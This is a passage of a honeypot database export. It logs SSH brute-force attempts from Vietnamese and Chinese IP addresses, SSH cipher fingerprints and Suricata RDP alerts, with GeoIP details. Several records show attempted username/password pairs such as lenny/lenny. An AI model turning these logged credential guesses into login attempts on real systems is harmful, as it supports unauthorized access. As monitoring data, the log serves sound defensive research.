"aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35356, "timestamp": "2021-09-20T11:11:17.464499", "@timestamp": "2021-09-20T11:11:17.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26032	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:17.879221+03	2021-09-20 14:15:12.746674+03	{"_id": "TAbnAnwBvYTbRNuEMR7b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57168, "timestamp": "2021-09-20T11:11:17.879221", "@timestamp": "2021-09-20T11:11:17.879Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26033	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:11:10.818258+03	2021-09-20 14:15:12.747644+03	{"_id": "4AbnAnwBvYTbRNuEFR1g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 404875499106196, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51332, "dest_port": 22, "timestamp": "2021-09-20T11:11:10.818258Z", "@timestamp": "2021-09-20T11:11:10.818Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26034	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:11.991365+03	2021-09-20 14:15:12.749644+03	{"_id": "7AbnAnwBvYTbRNuEGh38", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [lenny/lenny] failed", "session": "2ce7ec20b76a", "@version": "1", "password": "lenny", "username": "lenny", "timestamp": "2021-09-20T11:11:11.991365Z", "@timestamp": "2021-09-20T11:11:11.991Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26036	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:13.008907+03	2021-09-20 14:15:12.751645+03	{"_id": "8QbnAnwBvYTbRNuEHR0x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 189053392705445, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43758, "dest_port": 22, "timestamp": "2021-09-20T11:11:13.008907Z", "@timestamp": "2021-09-20T11:11:13.008Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26037	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:12.863287+03	2021-09-20 14:15:12.753645+03	{"_id": "8gbnAnwBvYTbRNuEHh1O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40706, "timestamp": "2021-09-20T11:11:12.863287", "@timestamp": "2021-09-20T11:11:12.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26038	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:17.464335+03	2021-09-20 14:15:12.754646+03	{"_id": "SAbnAnwBvYTbRNuEMB67", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 64879445989815, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35356, "dest_port": 22, "timestamp": "2021-09-20T11:11:17.464335Z", "@timestamp": "2021-09-20T11:11:17.464Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26039	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:17.828388+03	2021-09-20 14:15:12.755646+03	{"_id": "SgbnAnwBvYTbRNuEMR7b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58462, "dest_port": 22, "timestamp": "2021-09-20T11:11:17.828388", "@timestamp": "2021-09-20T11:11:17.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26044	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:35.703582+03	2021-09-20 14:15:12.761646+03	{"_id": "WgbnAnwBvYTbRNuEeB_Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "d5a2919da41d", "@version": "1", "duration": 3.363365650177002, "timestamp": "2021-09-20T11:11:35.703582Z", "@timestamp": "2021-09-20T11:11:35.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26040	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:11:36.033399+03	2021-09-20 14:15:12.757645+03	{"_id": "RwbnAnwBvYTbRNuEdx8X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:11:35.714653+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2192565443487645, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63152, "dest_port": 3389, "timestamp": "2021-09-20T11:11:36.033399Z", "@timestamp": "2021-09-20T11:11:36.033Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
26041	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:11:36.033399+03	2021-09-20 14:15:12.758646+03	{"_id": "SAbnAnwBvYTbRNuEdx8X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:11:35.714653+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2192565443487645, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63152, "dest_port": 3389, "timestamp": "2021-09-20T11:11:36.033399Z", "@timestamp": "2021-09-20T11:11:36.033Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
26042	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:36.058008+03	2021-09-20 14:15:12.759645+03	{"_id": "SgbnAnwBvYTbRNuEeB85", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36572, "timestamp": "2021-09-20T11:11:36.058008", "@timestamp": "2021-09-20T11:11:36.058Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26043	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:36.056578+03	2021-09-20 14:15:12.760644+03	{"_id": "UAbnAnwBvYTbRNuEeB_Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:36572 (192.168.176.2:22) [session: 95fb00b134d2]", "session": "95fb00b134d2", "@version": "1", "protocol": "ssh", "src_port": 36572, "dest_port": 22, "timestamp": "2021-09-20T11:11:36.056578Z", "@timestamp": "2021-09-20T11:11:36.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26174	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:49.80827+03	2021-09-20 14:15:12.927645+03	{"_id": "tAbnAnwBvYTbRNuEryCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [maria/maria] failed", "session": "b09377ee68d2", "@version": "1", "password": "maria", "username": "maria", "timestamp": "2021-09-20T11:11:49.808270Z", "@timestamp": "2021-09-20T11:11:49.808Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26045	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:35.970894+03	2021-09-20 14:15:12.762647+03	{"_id": "WwbnAnwBvYTbRNuEeB_Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "33e3c13c5e71", "@version": "1", "duration": 2.628354072570801, "timestamp": "2021-09-20T11:11:35.970894Z", "@timestamp": "2021-09-20T11:11:35.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26046	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:36.057438+03	2021-09-20 14:15:12.764646+03	{"_id": "XAbnAnwBvYTbRNuEeB_Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "95fb00b134d2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:36.057438Z", "@timestamp": "2021-09-20T11:11:36.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26047	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:36.086815+03	2021-09-20 14:15:12.765647+03	{"_id": "XQbnAnwBvYTbRNuEeB_Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "fd7401412b12", "@version": "1", "duration": 5.880807399749756, "timestamp": "2021-09-20T11:11:36.086815Z", "@timestamp": "2021-09-20T11:11:36.086Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	